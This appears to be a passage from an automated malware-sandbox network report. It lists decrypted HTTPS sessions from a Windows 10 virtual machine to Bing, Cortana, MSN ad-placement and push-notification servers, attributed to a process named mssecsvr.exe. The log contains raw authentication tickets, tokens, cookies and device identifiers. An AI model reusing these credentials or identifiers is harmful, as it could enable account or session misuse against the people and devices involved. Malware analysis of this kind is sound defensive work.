2022-07-20 17:30:43 UTC	187	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:30:43 UTC	187	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 30 35 37 33 64 30 65 35 37 65 32 31 34 62 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 70573d0e57e214b4<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:30:43 UTC	188	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 30 35 37 33 64 30 65 35 37 65 32 31 34 62 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 70573d0e57e214b4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:30:43 UTC	189	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:30:43 UTC	189	IN	Data Raw: 4d 53 2d 43 56 3a 20 4d 66 6c 42 32 35 4a 63 4c 6b 43 51 68 47 6f 4d 71 33 55 5a 6b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: MflB25JcLkCQhGoMq3UZkw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	50202	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:43 UTC	189	OUT	GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-Device-IsBatteryCertified: false X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-Device-IsBatteryEnabled: false X-Device-NetworkType: ethernet X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-VoiceActivationOn: false X-Device-AudioCapture: Microphone (High Definition Audio Device) X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd21g6yyDc/GBo99yBHK5LNT7AwqIBVMZvo7ue8j%2BqKJoWP4wUNwLmnMBr2oQepGF5o8/OYXHFEJ%2Bdc7AVcx5FMWBs/WhftHJY4feIwC7zgUjYAjS9RWpWtFsV7auupQ8WD6blffbol7QbCvpHozPMAZgFQ0SuwU8v3iow8OJ9ddcph0F9QFpF/7KlV1gJvJ8Xr3i/BehAvI7I4kMOsWudhJn19uaG25Gy70afa4vvP9tfK0sUSDcxb4uv8yDxKZ4tCLqfiEQiR/YodgpzTyukyBthqr%2BR4B%2BkA657qZKmOqbcjVFSp1NUrdGwczkPNHPtVTYvg1ReCxhcMsZQ7YrBoDZgAACOsfISv1qAUcqAHEuTsi1Qrric8csc%2BgmPyaZTjyAxZ87OBWeAgy5d0NJz%2BMV4NDViLU/U290tgx2EGya4kW4c22JpOdvuBwFyvIJDIWsylIUQBpX5RQhB4%2B8TH9d78uQXoIwV3wRtlCdOKMFIYaIjZTxc/CN62SEzufMBMk/R/5VkS3caA1Q5Vohvaw3z4U68hb1LjYBdpa3jjUVAI2lKy1v7g4qhvDIpWqZnIrx4T5rrbrc7/lP17WA75gpp97g25B%2BhSBcGSZouuAkdJHdlkQ2XtaJqmdNRquHUPZyfmhCwW4Q5pISzLPIlSLE5jHmvfzoJndfnEyULIZP5CoX5lqoH1PzB0ZLvFb0c7gLZnANS8lOHaSpg385UTLG1b5VipXFAyfb1CuMog7XzbSLq10fDZIcz4o8mKr9BnlFf7VDR0cBPm39RaPzZbre8dxIV5CC5NmTbsAey42D5pAmf3Kg9Dcu2%2Bp%2BcojbJ/nDK7aaGg8jGJmgKIVydyvMNIrxwFuuD8cAXhBHQrHyjCyWN2GULsHx/DkdoENXNECsAudAv3muMrggC/f7rEP59EyWOFW1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658370583 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-IsEnergyHero: false X-Device-Touch: false X-Device-ClientSession: DFA964761F6A4013B2100B55A6B043E3 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 17:30:43 UTC	197	IN	HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache Pragma: no-cache Content-Length: 311 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 17:30:43 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 17:30:43 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=3A26C5AE9EE360EB282ED4499F236198&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=0803EC6318784053B25CB65A05CBDE39&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=3A26C5AE9EE360EB282ED4499F236198; domain=.bing.com; path=/ Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Wed, 20-Jul-2022 17:35:43 GMT; path=/ X-XSS-Protection: 0 X-Search-ErrorInfo: Error:3002,Message:'FB ID missing' X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2E06BE1D1CAB445EBE6C44FE150DCAA9 Ref B: VIEEDGE1910 Ref C: 2022-07-20T17:30:43Z Date: Wed, 20 Jul 2022 17:30:42 GMT Connection: close
2022-07-20 17:30:43 UTC	198	IN	Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[],"Config":{"PrefetchInterval":720,"Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	50201	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:43 UTC	191	OUT	GET /client/config?cc=US&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd21g6yyDc/GBo99yBHK5LNT7AwqIBVMZvo7ue8j%2BqKJoWP4wUNwLmnMBr2oQepGF5o8/OYXHFEJ%2Bdc7AVcx5FMWBs/WhftHJY4feIwC7zgUjYAjS9RWpWtFsV7auupQ8WD6blffbol7QbCvpHozPMAZgFQ0SuwU8v3iow8OJ9ddcph0F9QFpF/7KlV1gJvJ8Xr3i/BehAvI7I4kMOsWudhJn19uaG25Gy70afa4vvP9tfK0sUSDcxb4uv8yDxKZ4tCLqfiEQiR/YodgpzTyukyBthqr%2BR4B%2BkA657qZKmOqbcjVFSp1NUrdGwczkPNHPtVTYvg1ReCxhcMsZQ7YrBoDZgAACOsfISv1qAUcqAHEuTsi1Qrric8csc%2BgmPyaZTjyAxZ87OBWeAgy5d0NJz%2BMV4NDViLU/U290tgx2EGya4kW4c22JpOdvuBwFyvIJDIWsylIUQBpX5RQhB4%2B8TH9d78uQXoIwV3wRtlCdOKMFIYaIjZTxc/CN62SEzufMBMk/R/5VkS3caA1Q5Vohvaw3z4U68hb1LjYBdpa3jjUVAI2lKy1v7g4qhvDIpWqZnIrx4T5rrbrc7/lP17WA75gpp97g25B%2BhSBcGSZouuAkdJHdlkQ2XtaJqmdNRquHUPZyfmhCwW4Q5pISzLPIlSLE5jHmvfzoJndfnEyULIZP5CoX5lqoH1PzB0ZLvFb0c7gLZnANS8lOHaSpg385UTLG1b5VipXFAyfb1CuMog7XzbSLq10fDZIcz4o8mKr9BnlFf7VDR0cBPm39RaPzZbre8dxIV5CC5NmTbsAey42D5pAmf3Kg9Dcu2%2Bp%2BcojbJ/nDK7aaGg8jGJmgKIVydyvMNIrxwFuuD8cAXhBHQrHyjCyWN2GULsHx/DkdoENXNECsAudAv3muMrggC/f7rEP59EyWOFW1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658370583 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: DFA964761F6A4013B2100B55A6B043E3 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 17:30:43 UTC	193	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2041 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 17:30:43 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 17:30:43 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=2E808DE63C2B68A207099C013D1869D3&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=36DE31CEB97E4D9EAB8C8EA76DD6F275&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 17:30:43 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=2E808DE63C2B68A207099C013D1869D3; domain=.bing.com; path=/ X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CCEEAB5342354B27B5051FE4C0720871 Ref B: VIEEDGE2807 Ref C: 2022-07-20T17:30:43Z Date: Wed, 20 Jul 2022 17:30:43 GMT Connection: close
2022-07-20 17:30:43 UTC	195	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	50232	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:45 UTC	199	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023032Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b54eafbf73704a06b00fd185d194a9fd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-280815&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAd5uDZSYuIHeTKN+JoqPycfljiqgE2+VIkCzGzaJUVrFXxztfBKtxZkJP0DuBYtpSC0cyhDUcuqkWhEAPLbwpzI6eZhnTpB5AEEcs2a77BomixSeyA5nF/abMnliOssMHbEZ85ZB+OMkugfz5kOtPge9MHwIllANexy9fXy1nuiyBwOCnIY2TOcFNUWetnrs16Tvx4Rfi6WwV8UyFzl0KvegYauAJ9KIAfUUKwLTY+ZfzOrzg/fpNrmBFOnUBmK6b0UAmysjwlBThJe/SctEuM5u6pHs/K8L7nWIFLn/087V3SjFrN1ovVFc0LCp3WDvea65EhoZOH29VI285NIjGwoDZgAACGyqWswPloEQqAFkfnU+1P/mPE4U4du24fvrifPWRcwaMheEqBJlr9F0Gj6KGAQv7ZHygepG5hI9C1DMRo1TCuJl+G4Ij3oTBn0BR7WsFSsQYZppGiDtZaWS5UWKnBI7Oxl+mW9r/ezf9DvMoKx70GQ+WrzjJ/scyzJJOFvzMaLRTmDOWGIBLgRMcAGNy/Kta+qQGr2KTXxWJqFbrku7FODGFVtwM/6YhGvOYRTHyHhgHEwF4hJJIK1TtAHzbivF57BI09mrP5VotFVt733/kP3H/apQHk8kj7ax1bHaREnUZgO868IAwwDD9dVxT4JKDhh6Uj8P4rHs7bKKzE2FMmTYf2LziBUCbJsS1ZeyfBY4D4QlJB0X/7E4QiKC2kGthn/h4j6kmufuGl43TthojNxJuHmxh3O7gib0HP5d1V7cZwSA7xTqPUlTd14coSsLJLlqD/44WXRmb8QjjYppwAeVmij/swKPzxEvjaYCBl+8aiexiuqaxQQIyzVRRzA2BvNS19oBfI+wgxTEm1R1uY0nRwwIorxs3xbp6LfR8miDXtNU0rrrgXfGz0ZclkWHCIob1gE=&p= Cache-Control: no-cache MS-CV: HaaqiicIfUqLEWgm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:30:45 UTC	203	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3042 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: I4UtwT9c7imzbOM0GJjMwM7oMYqK2J1bHYVyBpngYaRlDOCjiL5UItFheswNilFi5ztO4KUJrgOl/QKG2vmI4wW8lIfCR6545XIw3YMH7aZhfWqlJbFrX1n3Yy0jRIRghTOOvAXNKGl0PHXvtMzO7OaLPJCftIYs6OZxpGW0haCWHW9jLZU2g9bELuDBr26YhpWgEcxfOsqWpWkTLL1/cRnKLlh7SiKdUmElUTGNXJk2kv/iqJnU+jpK3V4na80guNyykmzp5yndCdNTswL5v9w/YNwI9bWbnKUk3ddfS5OzyhFX6KWP5tPbvROhvHI85wWBml3+foAbYN9LmZ8wHw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:30:45 GMT Connection: close
2022-07-20 17:30:45 UTC	204	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	50233	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:45 UTC	201	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023031Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1b506c8d0635487fa34a00b268e23981&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338389&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p= Cache-Control: no-cache MS-CV: HaaqiicIfUqLEWgm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
